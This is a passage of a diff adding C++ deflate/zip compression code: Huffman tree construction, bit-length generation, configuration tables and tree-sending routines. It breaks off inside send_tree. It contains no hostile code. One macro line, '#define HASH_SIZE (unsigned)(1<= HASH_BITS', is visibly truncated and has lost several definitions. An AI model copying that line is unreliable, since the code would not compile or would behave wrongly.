+// In order to simplify the code, particularly on 16 bit machines, match
+// distances are limited to MAX_DIST instead of WSIZE.
+//
+
+
+#define ZIP_HANDLE 1
+#define ZIP_FILENAME 2
+#define ZIP_MEMORY 3
+#define ZIP_FOLDER 4
+
+
+
+// ===========================================================================
+// Constants
+//
+
+#define MAX_BITS 15
+// All codes must not exceed MAX_BITS bits
+
+#define MAX_BL_BITS 7
+// Bit length codes must not exceed MAX_BL_BITS bits
+
+#define LENGTH_CODES 29
+// number of length codes, not counting the special END_BLOCK code
+
+#define LITERALS 256
+// number of literal bytes 0..255
+
+#define END_BLOCK 256
+// end of block literal code
+
+#define L_CODES (LITERALS+1+LENGTH_CODES)
+// number of Literal or Length codes, including the END_BLOCK code
+
+#define D_CODES 30
+// number of distance codes
+
+#define BL_CODES 19
+// number of codes used to transfer the bit lengths
+
+
+#define STORED_BLOCK 0
+#define STATIC_TREES 1
+#define DYN_TREES 2
+// The three kinds of block type
+
+#define LIT_BUFSIZE 0x8000
+#define DIST_BUFSIZE LIT_BUFSIZE
+// Sizes of match buffers for literals/lengths and distances. There are
+// 4 reasons for limiting LIT_BUFSIZE to 64K:
+// - frequencies can be kept in 16 bit counters
+// - if compression is not successful for the first block, all input data is
+// still in the window so we can still emit a stored block even when input
+// comes from standard input. (This can also be done for all blocks if
+// LIT_BUFSIZE is not greater than 32K.)
+// - if compression is not successful for a file smaller than 64K, we can
+// even emit a stored file instead of a stored block (saving 5 bytes).
+// - creating new Huffman trees less frequently may not provide fast
+// adaptation to changes in the input data statistics. (Take for
+// example a binary file with poorly compressible code followed by
+// a highly compressible string table.) Smaller buffer sizes give
+// fast adaptation but have of course the overhead of transmitting trees
+// more frequently.
+// - I can't count above 4
+// The current code is general and allows DIST_BUFSIZE < LIT_BUFSIZE (to save
+// memory at the expense of compression). Some optimizations would be possible
+// if we rely on DIST_BUFSIZE == LIT_BUFSIZE.
+//
+
+#define REP_3_6 16
+// repeat previous bit length 3-6 times (2 bits of repeat count)
+
+#define REPZ_3_10 17
+// repeat a zero length 3-10 times (3 bits of repeat count)
+
+#define REPZ_11_138 18
+// repeat a zero length 11-138 times (7 bits of repeat count)
+
+#define HEAP_SIZE (2*L_CODES+1)
+// maximum heap size
+
+
+// ===========================================================================
+// Local data used by the "bit string" routines.
+//
+
+#define Buf_size (8 * 2*sizeof(char))
+// Number of bits used within bi_buf. (bi_buf may be implemented on
+// more than 16 bits on some systems.)
+
+// Output a 16 bit value to the bit stream, lower (oldest) byte first
+#define PUTSHORT(state,w) \
+{ if (state.bs.out_offset >= state.bs.out_size-1) \
+ state.flush_outbuf(state.param,state.bs.out_buf, &state.bs.out_offset); \
+ state.bs.out_buf[state.bs.out_offset++] = (char) ((w) & 0xff); \
+ state.bs.out_buf[state.bs.out_offset++] = (char) ((ush)(w) >> 8); \
+}
+
+#define PUTBYTE(state,b) \
+{ if (state.bs.out_offset >= state.bs.out_size) \
+ state.flush_outbuf(state.param,state.bs.out_buf, &state.bs.out_offset); \
+ state.bs.out_buf[state.bs.out_offset++] = (char) (b); \
+}
+
+// DEFLATE.CPP HEADER
+
+#define HASH_BITS 15
+// For portability to 16 bit machines, do not use values above 15.
+
+#define HASH_SIZE (unsigned)(1<= HASH_BITS
+
+#define max_insert_length max_lazy_match
+// Insert new strings in the hash table only if the match length
+// is not greater than this length. This saves time but degrades compression.
+// max_insert_length is used only for compression levels <= 3.
+
+
+
+const int extra_lbits[LENGTH_CODES] // extra bits for each length code
+= { 0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0 };
+
+const int extra_dbits[D_CODES] // extra bits for each distance code
+= { 0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13 };
+
+const int extra_blbits[BL_CODES]// extra bits for each bit length code
+= { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7 };
+
+const uch bl_order[BL_CODES] = { 16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15 };
+// The lengths of the bit length codes are sent in order of decreasing
+// probability, to avoid transmitting the lengths for unused bit length codes.
+
+
+typedef struct config {
+ ush good_length; // reduce lazy search above this match length
+ ush max_lazy; // do not perform lazy search above this match length
+ ush nice_length; // quit search above this match length
+ ush max_chain;
+} config;
+
+// Values for max_lazy_match, good_match, nice_match and max_chain_length,
+// depending on the desired pack level (0..9). The values given below have
+// been tuned to exclude worst case performance for pathological files.
+// Better values may be found for specific files.
+//
+
+const config configuration_table[10] = {
+ // good lazy nice chain
+ {0, 0, 0, 0}, // 0 store only
+ {4, 4, 8, 4}, // 1 maximum speed, no lazy matches
+ {4, 5, 16, 8}, // 2
+ {4, 6, 32, 32}, // 3
+ {4, 4, 16, 16}, // 4 lazy matches */
+ {8, 16, 32, 32}, // 5
+ {8, 16, 128, 128}, // 6
+ {8, 32, 128, 256}, // 7
+ {32, 128, 258, 1024}, // 8
+ {32, 258, 258, 4096} };// 9 maximum compression */
+
+ // Note: the deflate() code requires max_lazy >= MIN_MATCH and max_chain >= 4
+ // For deflate_fast() (levels <= 3) good is ignored and lazy has a different meaning.
+
+
+
+
+
+
+
+ // Data structure describing a single value and its code string.
+typedef struct ct_data {
+ union {
+ ush freq; // frequency count
+ ush code; // bit string
+ } fc;
+ union {
+ ush dad; // father node in Huffman tree
+ ush len; // length of bit string
+ } dl;
+} ct_data;
+
+typedef struct tree_desc {
+ ct_data* dyn_tree; // the dynamic tree
+ ct_data* static_tree; // corresponding static tree or NULL
+ const int* extra_bits; // extra bits for each code or NULL
+ int extra_base; // base index for extra_bits
+ int elems; // max number of elements in the tree
+ int max_length; // max bit length for the codes
+ int max_code; // largest code with non zero frequency
+} tree_desc;
+
+
+
+
+class TTreeState
+{
+public:
+ TTreeState();
+
+ ct_data dyn_ltree[HEAP_SIZE]; // literal and length tree
+ ct_data dyn_dtree[2 * D_CODES + 1]; // distance tree
+ ct_data static_ltree[L_CODES + 2]; // the static literal tree...
+ // ... Since the bit lengths are imposed, there is no need for the L_CODES
+ // extra codes used during heap construction. However the codes 286 and 287
+ // are needed to build a canonical tree (see ct_init below).
+ ct_data static_dtree[D_CODES]; // the static distance tree...
+ // ... (Actually a trivial tree since all codes use 5 bits.)
+ ct_data bl_tree[2 * BL_CODES + 1]; // Huffman tree for the bit lengths
+
+ tree_desc l_desc;
+ tree_desc d_desc;
+ tree_desc bl_desc;
+
+ ush bl_count[MAX_BITS + 1]; // number of codes at each bit length for an optimal tree
+
+ int heap[2 * L_CODES + 1]; // heap used to build the Huffman trees
+ int heap_len; // number of elements in the heap
+ int heap_max; // element of largest frequency
+ // The sons of heap[n] are heap[2*n] and heap[2*n+1]. heap[0] is not used.
+ // The same heap array is used to build all trees.
+
+ uch depth[2 * L_CODES + 1];
+ // Depth of each subtree used as tie breaker for trees of equal frequency
+
+ uch length_code[MAX_MATCH - MIN_MATCH + 1];
+ // length code for each normalized match length (0 == MIN_MATCH)
+
+ uch dist_code[512];
+ // distance codes. The first 256 values correspond to the distances
+ // 3 .. 258, the last 256 values correspond to the top 8 bits of
+ // the 15 bit distances.
+
+ int base_length[LENGTH_CODES];
+ // First normalized length for each code (0 = MIN_MATCH)
+
+ int base_dist[D_CODES];
+ // First normalized distance for each code (0 = distance of 1)
+
+ uch far l_buf[LIT_BUFSIZE]; // buffer for literals/lengths
+ ush far d_buf[DIST_BUFSIZE]; // buffer for distances
+
+ uch flag_buf[(LIT_BUFSIZE / 8)];
+ // flag_buf is a bit array distinguishing literals from lengths in
+ // l_buf, and thus indicating the presence or absence of a distance.
+
+ unsigned last_lit; // running index in l_buf
+ unsigned last_dist; // running index in d_buf
+ unsigned last_flags; // running index in flag_buf
+ uch flags; // current flags not yet saved in flag_buf
+ uch flag_bit; // current bit used in flags
+ // bits are filled in flags starting at bit 0 (least significant).
+ // Note: these flags are overkill in the current code since we don't
+ // take advantage of DIST_BUFSIZE == LIT_BUFSIZE.
+
+ ulg opt_len; // bit length of current block with optimal trees
+ ulg static_len; // bit length of current block with static trees
+
+ ulg cmpr_bytelen; // total byte length of compressed file
+ ulg cmpr_len_bits; // number of bits past 'cmpr_bytelen'
+
+ ulg input_len; // total byte length of input file
+ // input_len is for debugging only since we can get it by other means.
+
+ ush* file_type; // pointer to UNKNOWN, BINARY or ASCII
+ // int *file_method; // pointer to DEFLATE or STORE
+};
+
+TTreeState::TTreeState()
+{
+ tree_desc a = { dyn_ltree, static_ltree, extra_lbits, LITERALS + 1, L_CODES, MAX_BITS, 0 }; l_desc = a;
+ tree_desc b = { dyn_dtree, static_dtree, extra_dbits, 0, D_CODES, MAX_BITS, 0 }; d_desc = b;
+ tree_desc c = { bl_tree, NULL, extra_blbits, 0, BL_CODES, MAX_BL_BITS, 0 }; bl_desc = c;
+ last_lit = 0;
+ last_dist = 0;
+ last_flags = 0;
+}
+
+
+
+class TBitState
+{
+public:
+
+ int flush_flg;
+ //
+ unsigned bi_buf;
+ // Output buffer. bits are inserted starting at the bottom (least significant
+ // bits). The width of bi_buf must be at least 16 bits.
+ int bi_valid;
+ // Number of valid bits in bi_buf. All bits above the last valid bit
+ // are always zero.
+ char* out_buf;
+ // Current output buffer.
+ unsigned out_offset;
+ // Current offset in output buffer.
+ // On 16 bit machines, the buffer is limited to 64K.
+ unsigned out_size;
+ // Size of current output buffer
+ ulg bits_sent; // bit length of the compressed data only needed for debugging???
+};
+
+
+
+
+
+
+
+class TDeflateState
+{
+public:
+ TDeflateState() { window_size = 0; }
+
+ uch window[2L * WSIZE];
+ // Sliding window. Input bytes are read into the second half of the window,
+ // and move to the first half later to keep a dictionary of at least WSIZE
+ // bytes. With this organization, matches are limited to a distance of
+ // WSIZE-MAX_MATCH bytes, but this ensures that IO is always
+ // performed with a length multiple of the block size. Also, it limits
+ // the window size to 64K, which is quite useful on MSDOS.
+ // To do: limit the window size to WSIZE+CBSZ if SMALL_MEM (the code would
+ // be less efficient since the data would have to be copied WSIZE/CBSZ times)
+ Pos prev[WSIZE];
+ // Link to older string with same hash index. To limit the size of this
+ // array to 64K, this link is maintained only for the last 32K strings.
+ // An index in this array is thus a window index modulo 32K.
+ Pos head[HASH_SIZE];
+ // Heads of the hash chains or NIL. If your compiler thinks that
+ // HASH_SIZE is a dynamic value, recompile with -DDYN_ALLOC.
+
+ ulg window_size;
+ // window size, 2*WSIZE except for MMAP or BIG_MEM, where it is the
+ // input file length plus MIN_LOOKAHEAD.
+
+ long block_start;
+ // window position at the beginning of the current output block. Gets
+ // negative when the window is moved backwards.
+
+ int sliding;
+ // Set to false when the input file is already in memory
+
+ unsigned ins_h; // hash index of string to be inserted
+
+ unsigned int prev_length;
+ // Length of the best match at previous step. Matches not greater than this
+ // are discarded. This is used in the lazy match evaluation.
+
+ unsigned strstart; // start of string to insert
+ unsigned match_start; // start of matching string
+ int eofile; // flag set at end of input file
+ unsigned lookahead; // number of valid bytes ahead in window
+
+ unsigned max_chain_length;
+ // To speed up deflation, hash chains are never searched beyond this length.
+ // A higher limit improves compression ratio but degrades the speed.
+
+ unsigned int max_lazy_match;
+ // Attempt to find a better match only when the current match is strictly
+ // smaller than this value. This mechanism is used only for compression
+ // levels >= 4.
+
+ unsigned good_match;
+ // Use a faster search when the previous match is longer than this
+
+ int nice_match; // Stop searching when current match exceeds this
+};
+
+typedef __int64 lutime_t; // define it ourselves since we don't include time.h
+
+typedef struct iztimes {
+ lutime_t atime, mtime, ctime;
+} iztimes; // access, modify, create times
+
+typedef struct zlist {
+ ush vem, ver, flg, how; // See central header in zipfile.c for what vem..off are
+ ulg tim, crc, siz, len;
+ extent nam, ext, cext, com; // offset of ext must be >= LOCHEAD
+ ush dsk, att, lflg; // offset of lflg must be >= LOCHEAD
+ ulg atx, off;
+ char name[MAX_PATH]; // File name in zip file
+ char* extra; // Extra field (set only if ext != 0)
+ char* cextra; // Extra in central (set only if cext != 0)
+ char* comment; // Comment (set only if com != 0)
+ char iname[MAX_PATH]; // Internal file name after cleanup
+ char zname[MAX_PATH]; // External version of internal name
+ int mark; // Marker for files to operate on
+ int trash; // Marker for files to delete
+ int dosflag; // Set to force MSDOS file attributes
+ struct zlist far* nxt; // Pointer to next header in list
+} TZipFileInfo;
+
+
+struct TState;
+typedef unsigned (*READFUNC)(TState& state, char* buf, unsigned size);
+typedef unsigned (*FLUSHFUNC)(void* param, const char* buf, unsigned* size);
+typedef unsigned (*WRITEFUNC)(void* param, const char* buf, unsigned size);
+struct TState
+{
+ void* param;
+ int level; bool seekable;
+ READFUNC readfunc; FLUSHFUNC flush_outbuf;
+ TTreeState ts; TBitState bs; TDeflateState ds;
+ const char* err;
+};
+
+
+
+
+
+
+
+
+
+void Assert(TState& state, bool cond, const char* msg)
+{
+ if (cond) return;
+ state.err = msg;
+}
+void __cdecl Trace(const char* x, ...) { va_list paramList; va_start(paramList, x); paramList; va_end(paramList); }
+void __cdecl Tracec(bool, const char* x, ...) { va_list paramList; va_start(paramList, x); paramList; va_end(paramList); }
+
+
+
+// ===========================================================================
+// Local (static) routines in this file.
+//
+
+void init_block(TState&);
+void pqdownheap(TState&, ct_data* tree, int k);
+void gen_bitlen(TState&, tree_desc* desc);
+void gen_codes(TState& state, ct_data* tree, int max_code);
+void build_tree(TState&, tree_desc* desc);
+void scan_tree(TState&, ct_data* tree, int max_code);
+void send_tree(TState& state, ct_data* tree, int max_code);
+int build_bl_tree(TState&);
+void send_all_trees(TState& state, int lcodes, int dcodes, int blcodes);
+void compress_block(TState& state, ct_data* ltree, ct_data* dtree);
+void set_file_type(TState&);
+void send_bits(TState& state, int value, int length);
+unsigned bi_reverse(unsigned code, int len);
+void bi_windup(TState& state);
+void copy_block(TState& state, char* buf, unsigned len, int header);
+
+
+#define send_code(state, c, tree) send_bits(state, tree[c].fc.code, tree[c].dl.len)
+// Send a code of the given tree. c and tree must not have side effects
+
+// alternatively...
+//#define send_code(state, c, tree)
+// { if (state.verbose>1) fprintf(stderr,"\ncd %3d ",(c));
+// send_bits(state, tree[c].fc.code, tree[c].dl.len); }
+
+#define d_code(dist) ((dist) < 256 ? state.ts.dist_code[dist] : state.ts.dist_code[256+((dist)>>7)])
+// Mapping from a distance to a distance code. dist is the distance - 1 and
+// must not have side effects. dist_code[256] and dist_code[257] are never used.
+
+#define Max(a,b) (a >= b ? a : b)
+/* the arguments must not have side effects */
+
+/* ===========================================================================
+ * Allocate the match buffer, initialize the various tables and save the
+ * location of the internal file attribute (ascii/binary) and method
+ * (DEFLATE/STORE).
+ */
+void ct_init(TState& state, ush* attr)
+{
+ int n; /* iterates over tree elements */
+ int bits; /* bit counter */
+ int length; /* length value */
+ int code; /* code value */
+ int dist; /* distance index */
+
+ state.ts.file_type = attr;
+ //state.ts.file_method = method;
+ state.ts.cmpr_bytelen = state.ts.cmpr_len_bits = 0L;
+ state.ts.input_len = 0L;
+
+ if (state.ts.static_dtree[0].dl.len != 0) return; /* ct_init already called */
+
+ /* Initialize the mapping length (0..255) -> length code (0..28) */
+ length = 0;
+ for (code = 0; code < LENGTH_CODES - 1; code++) {
+ state.ts.base_length[code] = length;
+ for (n = 0; n < (1 << extra_lbits[code]); n++) {
+ state.ts.length_code[length++] = (uch)code;
+ }
+ }
+ Assert(state, length == 256, "ct_init: length != 256");
+ /* Note that the length 255 (match length 258) can be represented
+ * in two different ways: code 284 + 5 bits or code 285, so we
+ * overwrite length_code[255] to use the best encoding:
+ */
+ state.ts.length_code[length - 1] = (uch)code;
+
+ /* Initialize the mapping dist (0..32K) -> dist code (0..29) */
+ dist = 0;
+ for (code = 0; code < 16; code++) {
+ state.ts.base_dist[code] = dist;
+ for (n = 0; n < (1 << extra_dbits[code]); n++) {
+ state.ts.dist_code[dist++] = (uch)code;
+ }
+ }
+ Assert(state, dist == 256, "ct_init: dist != 256");
+ dist >>= 7; /* from now on, all distances are divided by 128 */
+ for (; code < D_CODES; code++) {
+ state.ts.base_dist[code] = dist << 7;
+ for (n = 0; n < (1 << (extra_dbits[code] - 7)); n++) {
+ state.ts.dist_code[256 + dist++] = (uch)code;
+ }
+ }
+ Assert(state, dist == 256, "ct_init: 256+dist != 512");
+
+ /* Construct the codes of the static literal tree */
+ for (bits = 0; bits <= MAX_BITS; bits++) state.ts.bl_count[bits] = 0;
+ n = 0;
+ while (n <= 143) state.ts.static_ltree[n++].dl.len = 8, state.ts.bl_count[8]++;
+ while (n <= 255) state.ts.static_ltree[n++].dl.len = 9, state.ts.bl_count[9]++;
+ while (n <= 279) state.ts.static_ltree[n++].dl.len = 7, state.ts.bl_count[7]++;
+ while (n <= 287) state.ts.static_ltree[n++].dl.len = 8, state.ts.bl_count[8]++;
+ /* fc.codes 286 and 287 do not exist, but we must include them in the
+ * tree construction to get a canonical Huffman tree (longest code
+ * all ones)
+ */
+ gen_codes(state, (ct_data*)state.ts.static_ltree, L_CODES + 1);
+
+ /* The static distance tree is trivial: */
+ for (n = 0; n < D_CODES; n++) {
+ state.ts.static_dtree[n].dl.len = 5;
+ state.ts.static_dtree[n].fc.code = (ush)bi_reverse(n, 5);
+ }
+
+ /* Initialize the first block of the first file: */
+ init_block(state);
+}
+
+/* ===========================================================================
+ * Initialize a new block.
+ */
+void init_block(TState& state)
+{
+ int n; /* iterates over tree elements */
+
+ /* Initialize the trees. */
+ for (n = 0; n < L_CODES; n++) state.ts.dyn_ltree[n].fc.freq = 0;
+ for (n = 0; n < D_CODES; n++) state.ts.dyn_dtree[n].fc.freq = 0;
+ for (n = 0; n < BL_CODES; n++) state.ts.bl_tree[n].fc.freq = 0;
+
+ state.ts.dyn_ltree[END_BLOCK].fc.freq = 1;
+ state.ts.opt_len = state.ts.static_len = 0L;
+ state.ts.last_lit = state.ts.last_dist = state.ts.last_flags = 0;
+ state.ts.flags = 0; state.ts.flag_bit = 1;
+}
+
+#define SMALLEST 1
+/* Index within the heap array of least frequent node in the Huffman tree */
+
+
+/* ===========================================================================
+ * Remove the smallest element from the heap and recreate the heap with
+ * one less element. Updates heap and heap_len.
+ */
+#define pqremove(tree, top) \
+{\
+ top = state.ts.heap[SMALLEST]; \
+ state.ts.heap[SMALLEST] = state.ts.heap[state.ts.heap_len--]; \
+ pqdownheap(state,tree, SMALLEST); \
+}
+
+ /* ===========================================================================
+ * Compares to subtrees, using the tree depth as tie breaker when
+ * the subtrees have equal frequency. This minimizes the worst case length.
+ */
+#define smaller(tree, n, m) \
+ (tree[n].fc.freq < tree[m].fc.freq || \
+ (tree[n].fc.freq == tree[m].fc.freq && state.ts.depth[n] <= state.ts.depth[m]))
+
+ /* ===========================================================================
+ * Restore the heap property by moving down the tree starting at node k,
+ * exchanging a node with the smallest of its two sons if necessary, stopping
+ * when the heap property is re-established (each father smaller than its
+ * two sons).
+ */
+void pqdownheap(TState& state, ct_data* tree, int k)
+{
+ int v = state.ts.heap[k];
+ int j = k << 1; /* left son of k */
+ int htemp; /* required because of bug in SASC compiler */
+
+ while (j <= state.ts.heap_len) {
+ /* Set j to the smallest of the two sons: */
+ if (j < state.ts.heap_len && smaller(tree, state.ts.heap[j + 1], state.ts.heap[j])) j++;
+
+ /* Exit if v is smaller than both sons */
+ htemp = state.ts.heap[j];
+ if (smaller(tree, v, htemp)) break;
+
+ /* Exchange v with the smallest son */
+ state.ts.heap[k] = htemp;
+ k = j;
+
+ /* And continue down the tree, setting j to the left son of k */
+ j <<= 1;
+ }
+ state.ts.heap[k] = v;
+}
+
+/* ===========================================================================
+ * Compute the optimal bit lengths for a tree and update the total bit length
+ * for the current block.
+ * IN assertion: the fields freq and dad are set, heap[heap_max] and
+ * above are the tree nodes sorted by increasing frequency.
+ * OUT assertions: the field len is set to the optimal bit length, the
+ * array bl_count contains the frequencies for each bit length.
+ * The length opt_len is updated; static_len is also updated if stree is
+ * not null.
+ */
+void gen_bitlen(TState& state, tree_desc* desc)
+{
+ ct_data* tree = desc->dyn_tree;
+ const int* extra = desc->extra_bits;
+ int base = desc->extra_base;
+ int max_code = desc->max_code;
+ int max_length = desc->max_length;
+ ct_data* stree = desc->static_tree;
+ int h; /* heap index */
+ int n, m; /* iterate over the tree elements */
+ int bits; /* bit length */
+ int xbits; /* extra bits */
+ ush f; /* frequency */
+ int overflow = 0; /* number of elements with bit length too large */
+
+ for (bits = 0; bits <= MAX_BITS; bits++) state.ts.bl_count[bits] = 0;
+
+ /* In a first pass, compute the optimal bit lengths (which may
+ * overflow in the case of the bit length tree).
+ */
+ tree[state.ts.heap[state.ts.heap_max]].dl.len = 0; /* root of the heap */
+
+ for (h = state.ts.heap_max + 1; h < HEAP_SIZE; h++) {
+ n = state.ts.heap[h];
+ bits = tree[tree[n].dl.dad].dl.len + 1;
+ if (bits > max_length) bits = max_length, overflow++;
+ tree[n].dl.len = (ush)bits;
+ /* We overwrite tree[n].dl.dad which is no longer needed */
+
+ if (n > max_code) continue; /* not a leaf node */
+
+ state.ts.bl_count[bits]++;
+ xbits = 0;
+ if (n >= base) xbits = extra[n - base];
+ f = tree[n].fc.freq;
+ state.ts.opt_len += (ulg)f * (bits + xbits);
+ if (stree) state.ts.static_len += (ulg)f * (stree[n].dl.len + xbits);
+ }
+ if (overflow == 0) return;
+
+ Trace("\nbit length overflow\n");
+ /* This happens for example on obj2 and pic of the Calgary corpus */
+
+ /* Find the first bit length which could increase: */
+ do {
+ bits = max_length - 1;
+ while (state.ts.bl_count[bits] == 0) bits--;
+ state.ts.bl_count[bits]--; /* move one leaf down the tree */
+ state.ts.bl_count[bits + 1] += (ush)2; /* move one overflow item as its brother */
+ state.ts.bl_count[max_length]--;
+ /* The brother of the overflow item also moves one step up,
+ * but this does not affect bl_count[max_length]
+ */
+ overflow -= 2;
+ } while (overflow > 0);
+
+ /* Now recompute all bit lengths, scanning in increasing frequency.
+ * h is still equal to HEAP_SIZE. (It is simpler to reconstruct all
+ * lengths instead of fixing only the wrong ones. This idea is taken
+ * from 'ar' written by Haruhiko Okumura.)
+ */
+ for (bits = max_length; bits != 0; bits--) {
+ n = state.ts.bl_count[bits];
+ while (n != 0) {
+ m = state.ts.heap[--h];
+ if (m > max_code) continue;
+ if (tree[m].dl.len != (ush)bits) {
+ Trace("code %d bits %d->%d\n", m, tree[m].dl.len, bits);
+ state.ts.opt_len += ((long)bits - (long)tree[m].dl.len) * (long)tree[m].fc.freq;
+ tree[m].dl.len = (ush)bits;
+ }
+ n--;
+ }
+ }
+}
+
+/* ===========================================================================
+ * Generate the codes for a given tree and bit counts (which need not be
+ * optimal).
+ * IN assertion: the array bl_count contains the bit length statistics for
+ * the given tree and the field len is set for all tree elements.
+ * OUT assertion: the field code is set for all tree elements of non
+ * zero code length.
+ */
+void gen_codes(TState& state, ct_data* tree, int max_code)
+{
+ ush next_code[MAX_BITS + 1]; /* next code value for each bit length */
+ ush code = 0; /* running code value */
+ int bits; /* bit index */
+ int n; /* code index */
+
+ /* The distribution counts are first used to generate the code values
+ * without bit reversal.
+ */
+ for (bits = 1; bits <= MAX_BITS; bits++) {
+ next_code[bits] = code = (ush)((code + state.ts.bl_count[bits - 1]) << 1);
+ }
+ /* Check that the bit counts in bl_count are consistent. The last code
+ * must be all ones.
+ */
+ Assert(state, code + state.ts.bl_count[MAX_BITS] - 1 == (1 << ((ush)MAX_BITS)) - 1,
+ "inconsistent bit counts");
+ Trace("\ngen_codes: max_code %d ", max_code);
+
+ for (n = 0; n <= max_code; n++) {
+ int len = tree[n].dl.len;
+ if (len == 0) continue;
+ /* Now reverse the bits */
+ tree[n].fc.code = (ush)bi_reverse(next_code[len]++, len);
+
+ //Tracec(tree != state.ts.static_ltree, "\nn %3d %c l %2d c %4x (%x) ", n, (isgraph(n) ? n : ' '), len, tree[n].fc.code, next_code[len]-1);
+ }
+}
+
+/* ===========================================================================
+ * Construct one Huffman tree and assigns the code bit strings and lengths.
+ * Update the total bit length for the current block.
+ * IN assertion: the field freq is set for all tree elements.
+ * OUT assertions: the fields len and code are set to the optimal bit length
+ * and corresponding code. The length opt_len is updated; static_len is
+ * also updated if stree is not null. The field max_code is set.
+ */
+void build_tree(TState& state, tree_desc* desc)
+{
+ ct_data* tree = desc->dyn_tree;
+ ct_data* stree = desc->static_tree;
+ int elems = desc->elems;
+ int n, m; /* iterate over heap elements */
+ int max_code = -1; /* largest code with non zero frequency */
+ int node = elems; /* next internal node of the tree */
+
+ /* Construct the initial heap, with least frequent element in
+ * heap[SMALLEST]. The sons of heap[n] are heap[2*n] and heap[2*n+1].
+ * heap[0] is not used.
+ */
+ state.ts.heap_len = 0, state.ts.heap_max = HEAP_SIZE;
+
+ for (n = 0; n < elems; n++) {
+ if (tree[n].fc.freq != 0) {
+ state.ts.heap[++state.ts.heap_len] = max_code = n;
+ state.ts.depth[n] = 0;
+ }
+ else {
+ tree[n].dl.len = 0;
+ }
+ }
+
+ /* The pkzip format requires that at least one distance code exists,
+ * and that at least one bit should be sent even if there is only one
+ * possible code. So to avoid special checks later on we force at least
+ * two codes of non zero frequency.
+ */
+ while (state.ts.heap_len < 2) {
+ int newcp = state.ts.heap[++state.ts.heap_len] = (max_code < 2 ? ++max_code : 0);
+ tree[newcp].fc.freq = 1;
+ state.ts.depth[newcp] = 0;
+ state.ts.opt_len--; if (stree) state.ts.static_len -= stree[newcp].dl.len;
+ /* new is 0 or 1 so it does not have extra bits */
+ }
+ desc->max_code = max_code;
+
+ /* The elements heap[heap_len/2+1 .. heap_len] are leaves of the tree,
+ * establish sub-heaps of increasing lengths:
+ */
+ for (n = state.ts.heap_len / 2; n >= 1; n--) pqdownheap(state, tree, n);
+
+ /* Construct the Huffman tree by repeatedly combining the least two
+ * frequent nodes.
+ */
+ do {
+ pqremove(tree, n); /* n = node of least frequency */
+ m = state.ts.heap[SMALLEST]; /* m = node of next least frequency */
+
+ state.ts.heap[--state.ts.heap_max] = n; /* keep the nodes sorted by frequency */
+ state.ts.heap[--state.ts.heap_max] = m;
+
+ /* Create a new node father of n and m */
+ tree[node].fc.freq = (ush)(tree[n].fc.freq + tree[m].fc.freq);
+ state.ts.depth[node] = (uch)(Max(state.ts.depth[n], state.ts.depth[m]) + 1);
+ tree[n].dl.dad = tree[m].dl.dad = (ush)node;
+ /* and insert the new node in the heap */
+ state.ts.heap[SMALLEST] = node++;
+ pqdownheap(state, tree, SMALLEST);
+
+ } while (state.ts.heap_len >= 2);
+
+ state.ts.heap[--state.ts.heap_max] = state.ts.heap[SMALLEST];
+
+ /* At this point, the fields freq and dad are set. We can now
+ * generate the bit lengths.
+ */
+ gen_bitlen(state, (tree_desc*)desc);
+
+ /* The field len is now set, we can generate the bit codes */
+ gen_codes(state, (ct_data*)tree, max_code);
+}
+
+/* ===========================================================================
+ * Scan a literal or distance tree to determine the frequencies of the codes
+ * in the bit length tree. Updates opt_len to take into account the repeat
+ * counts. (The contribution of the bit length codes will be added later
+ * during the construction of bl_tree.)
+ */
+void scan_tree(TState& state, ct_data* tree, int max_code)
+{
+ int n; /* iterates over all tree elements */
+ int prevlen = -1; /* last emitted length */
+ int curlen; /* length of current code */
+ int nextlen = tree[0].dl.len; /* length of next code */
+ int count = 0; /* repeat count of the current code */
+ int max_count = 7; /* max repeat count */
+ int min_count = 4; /* min repeat count */
+
+ if (nextlen == 0) max_count = 138, min_count = 3;
+ tree[max_code + 1].dl.len = (ush)-1; /* guard */
+
+ for (n = 0; n <= max_code; n++) {
+ curlen = nextlen; nextlen = tree[n + 1].dl.len;
+ if (++count < max_count && curlen == nextlen) {
+ continue;
+ }
+ else if (count < min_count) {
+ state.ts.bl_tree[curlen].fc.freq = (ush)(state.ts.bl_tree[curlen].fc.freq + count);
+ }
+ else if (curlen != 0) {
+ if (curlen != prevlen) state.ts.bl_tree[curlen].fc.freq++;
+ state.ts.bl_tree[REP_3_6].fc.freq++;
+ }
+ else if (count <= 10) {
+ state.ts.bl_tree[REPZ_3_10].fc.freq++;
+ }
+ else {
+ state.ts.bl_tree[REPZ_11_138].fc.freq++;
+ }
+ count = 0; prevlen = curlen;
+ if (nextlen == 0) {
+ max_count = 138, min_count = 3;
+ }
+ else if (curlen == nextlen) {
+ max_count = 6, min_count = 3;
+ }
+ else {
+ max_count = 7, min_count = 4;
+ }
+ }
+}
+
+/* ===========================================================================
+ * Send a literal or distance tree in compressed form, using the codes in
+ * bl_tree.
+ */
+void send_tree(TState& state, ct_data* tree, int max_code)
+{
+ int n; /* iterates over all tree elements */
+ int prevlen = -1; /* last emitted length */
+ int curlen; /* length of current code */
+ int nextlen = tree[0].dl.len; /* length of next code */
+ int count = 0; /* repeat count of the current code */
+ int max_count = 7; /* max repeat count */
+ int min_count = 4; /* min repeat count */
+
+ /* tree[max_code+1].dl.len = -1; */ /* guard already set */
+ if (nextlen == 0) max_count = 138, min_count = 3;
+
+ for (n = 0; n <= max_code; n++) {
+ curlen = nextlen; nextlen = tree[n + 1].dl.len;
+ if (++count < max_count && curlen == nextlen) {
+ continue;
+ }
+ else if (count < min_count) {
+ do { send_code(state, curlen, state.ts.bl_tree); } while (--count != 0);
+
+ }
+ else if (curlen != 0) {
+ if (curlen != prevlen) {
+ send_code(state, curlen, state.ts.bl_tree); count--;
+ }
+ Assert(state, count >= 3 && count <= 6, " 3_6?");
+ send_code(state, REP_3_6, state.ts.bl_tree); send_bits(state, count - 3, 2);
+
+ }
+ else if (count <= 10) {
+ send_code(state, REPZ_3_10, state.ts.bl_tree); send_bits(state, count - 3, 3);
+
+ }
+ else {
+ send_code(state, REPZ_11_138, state.ts.bl_tree); send_bits(state, count - 11, 7);
+ }
+ count = 0; prevlen = curlen;
+ if (nextlen == 0) {
+ max_count = 138, min_count = 3;
+ }
+ else if (curlen == nextlen) {
+ max_count = 6, min_count = 3;
+ }
+ else {
